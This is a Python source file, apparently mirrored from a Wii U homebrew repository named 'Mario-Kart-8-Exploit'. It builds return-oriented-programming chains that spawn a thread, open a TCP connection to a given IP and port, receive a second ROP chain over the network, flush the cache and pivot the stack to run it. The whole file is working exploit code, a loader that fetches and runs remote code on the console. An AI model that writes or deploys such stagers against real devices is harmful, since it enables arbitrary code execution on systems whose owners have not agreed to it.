mirror of
https://github.com/wiiu-env/Mario-Kart-8-Exploit.git
synced 2024-11-23 09:19:40 +00:00
79 lines
2.3 KiB
Python
79 lines
2.3 KiB
Python
from ropgadgets import *
|
|
from common_defines import *
|
|
|
|
|
|
def tcp_thread_ropchain_calls(data_addr):
|
|
cur_chain = []
|
|
# create a socket
|
|
cur_chain += socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
|
|
cur_chain += write_r3r4_tomem(0x4D055000) # save result to memory
|
|
|
|
# connect(socket_fd, &sin, 0x10)
|
|
cur_chain += call_with_dereferenced_r3(ROP_connect, 0x4D055000, data_addr,
|
|
0x10); # will use the value at address (0x4D055000) as arg1, not the address itself!
|
|
|
|
# improve stability by waiting a bit
|
|
cur_chain += GX2WaitForVsync()
|
|
cur_chain += GX2WaitForVsync()
|
|
|
|
# receive the rop chain
|
|
cur_chain += recv(4, 0x4D900014, 0x8000, 0)
|
|
cur_chain += DCFlushRange(0x4D900010, 0x8000)
|
|
|
|
# execute received rop chain!
|
|
cur_chain += StackPivot(0x4D900010)
|
|
return cur_chain
|
|
|
|
|
|
def tcp_thread_ropchain_data(ip, port):
|
|
cur_chain = []
|
|
# sin.family + port
|
|
cur_chain.append(0x00020000 + port)
|
|
cur_chain.append((ip[0] << 24) | (ip[1] << 16) | (ip[2] << 8) | (ip[3] << 0))
|
|
cur_chain.append(0)
|
|
cur_chain.append(0)
|
|
return cur_chain
|
|
|
|
|
|
def tcp_thread_ropchain(base, ip, port):
|
|
# Calculate offsets
|
|
call_len = len(tcp_thread_ropchain_calls(0)) * 4
|
|
cur_chain = []
|
|
# Build real ropchain
|
|
cur_chain += tcp_thread_ropchain_calls(base + call_len)
|
|
cur_chain += tcp_thread_ropchain_data(ip, port)
|
|
|
|
return cur_chain
|
|
|
|
|
|
def create_thread_ropchain(new_ropchain_addr):
|
|
cur_chain = []
|
|
# Flush the whole ropchain
|
|
cur_chain += DCFlushRange(0x387D3664, 0x500)
|
|
|
|
# Create thread
|
|
cur_chain += OSCreateThread(0x4D066000, ROP_POP_R24_TO_R31, 0, 0, 0x4D070000, 0x8000, 0, 2 | 8)
|
|
|
|
# Override the stack with a new ROP Chain
|
|
cur_chain += memcpy(0x4D070000 + 0x14, new_ropchain_addr, 0x400)
|
|
cur_chain += DCFlushRange(0x4D066000, 0x20000)
|
|
|
|
cur_chain += OSResumeThread(0x4D066000)
|
|
cur_chain.append(ROP_OSExitThread)
|
|
return cur_chain
|
|
|
|
|
|
def tcp_ropchain(ip, port):
|
|
cur_chain = []
|
|
# Calculate offsets
|
|
rop_len = len(create_thread_ropchain(0)) * 4
|
|
# Build real ropchain
|
|
cur_chain += create_thread_ropchain(0x387D36AC + rop_len)
|
|
cur_chain += tcp_thread_ropchain(0x4D070000 + 0x14, ip, port)
|
|
|
|
for i in range(256 - (len(cur_chain))):
|
|
if i >= 0:
|
|
cur_chain.append(0xF5A5A5A5)
|
|
|
|
return cur_chain
|